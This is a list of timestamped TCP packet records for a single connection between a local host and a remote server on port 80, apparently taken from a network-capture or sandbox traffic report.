Oct 21, 2024 08:25:12.193855047 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.193867922 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.193886995 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.194015026 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.194025993 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.194036007 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.194050074 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.194066048 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.194077969 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.194353104 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.194364071 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.194375038 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.194432020 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.194432020 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.317609072 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.317636013 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.317651033 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.317662001 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.317682028 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.317720890 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.317790031 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.317795992 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.317801952 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.317816019 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.317853928 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.317893028 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.318156004 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.318166971 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.318181992 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.318202019 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.318212986 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.318212986 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.318244934 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.318262100 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.437423944 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.437444925 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.437460899 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.437472105 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.437482119 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.437505960 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.437505960 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.437506914 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.437601089 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.442065001 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442075014 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442125082 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442135096 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442167044 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.442167044 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.442348957 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442358971 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442368984 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442378998 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442399979 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.442430019 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.442847013 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442856073 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.442898989 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.557672977 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.557696104 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.557708025 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.557718039 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.557729959 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.557859898 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.557859898 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.557859898 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.562184095 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.562194109 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.562205076 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.562242985 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.562279940 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.562303066 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.562344074 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.562350035 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.562354088 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.562398911 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.565676928 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.565696001 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.565728903 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.565730095 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.602674007 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.602710962 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.602716923 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.602721930 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.603013992 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.677680016 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.677697897 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.677714109 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.677725077 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.677737951 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.677923918 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.677923918 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.682281971 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.682292938 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.682302952 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.682313919 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.682394981 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.685684919 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.685704947 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.685715914 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.685755968 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.685755968 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.722908020 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.722927094 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.722948074 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.722958088 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.723062992 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.723138094 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.797547102 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.797564983 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.797575951 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.797585964 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.797600031 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.797755003 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.797755003 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.802192926 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.802370071 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.802381992 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.802392960 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.802428961 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.802460909 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.805583954 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.805640936 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.805651903 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.805691004 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.842737913 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.842747927 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.842757940 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.842920065 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.842920065 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.842966080 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.842976093 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.843030930 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.917577028 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.917598963 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.917610884 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.917620897 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.917633057 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.917644978 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.917804956 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.917804956 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.922257900 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.922269106 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.922278881 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.922290087 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.922419071 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.925401926 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.925465107 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.925467014 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.925520897 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.962690115 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.962714911 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.962759018 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.962769985 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.962780952 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.962793112 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.962941885 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.962941885 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.037400007 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.037415981 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.037426949 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.037528992 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.037539005 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.037549019 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.037693977 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.037693977 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.042068005 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.042083025 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.042092085 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.042145014 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.042145014 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.045414925 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.045433998 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.045444012 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.045473099 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.045473099 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.082614899 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.082627058 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.082643032 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.082710981 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.082710981 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.082756042 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.082767963 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.082781076 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.082815886 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.082854986 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.083108902 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.083120108 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.083169937 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.162672043 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.162694931 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.162707090 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.162717104 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.162727118 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.162738085 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.162811995 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.162893057 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.163005114 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.163013935 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.163064003 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.165293932 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.165333033 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.165364027 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.165373087 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.165385008 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.165410042 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.202656031 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.202671051 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.202691078 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.202703953 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.202714920 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.202728033 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.202774048 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.202855110 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.246814966 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.246828079 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.246840954 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.246972084 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.277245045 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.277256966 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.277307987 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.277316093 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.277343988 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.277379990 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.282526016 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.282535076 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.282588005 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.282644033 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.282655001 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.282665968 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.282676935 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.282713890 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.282713890 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.285322905 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.285372972 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.285382986 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.285392046 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.285425901 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.285456896 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.322770119 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.322812080 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.322823048 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.322839022 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.322851896 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.322899103 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.322937965 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.366717100 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.366743088 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.366754055 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.366785049 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.366823912 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.397138119 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.397149086 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.397195101 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.397205114 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.397206068 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.397253990 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.397253990 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.402600050 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.402616978 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.402626991 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.402669907 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.402702093 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.405245066 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.405256033 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.405267000 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.405299902 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.405328989 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.405391932 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.405402899 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.405412912 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.405442953 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.405472040 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.442629099 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.442641020 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.442651033 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.442693949 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.442725897 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.442780018 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.442790031 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.442800045 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.442835093 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.442863941 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.486696959 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.486709118 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.486720085 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.486785889 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.517318964 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.517330885 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.517340899 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.517410994 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.522480011 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.522497892 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.522552013 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.522658110 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.522701025 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.522710085 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.525343895 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.525355101 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.525372028 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.525382042 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.525393009 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.525404930 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.525435925 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.525435925 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.525435925 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.562716007 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.562730074 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.562740088 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.562751055 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.562817097 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.562874079 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.562882900 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.562896013 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.562906027 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.562917948 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.562921047 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.562938929 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.562956095 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.606622934 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.606646061 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.606827974 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.637280941 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.637290955 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.637295961 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.637566090 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.642432928 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.642452002 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.642461061 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.642493963 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.642550945 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.645229101 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.645272017 CEST	80	64702	84.38.129.16	192.168.2.5
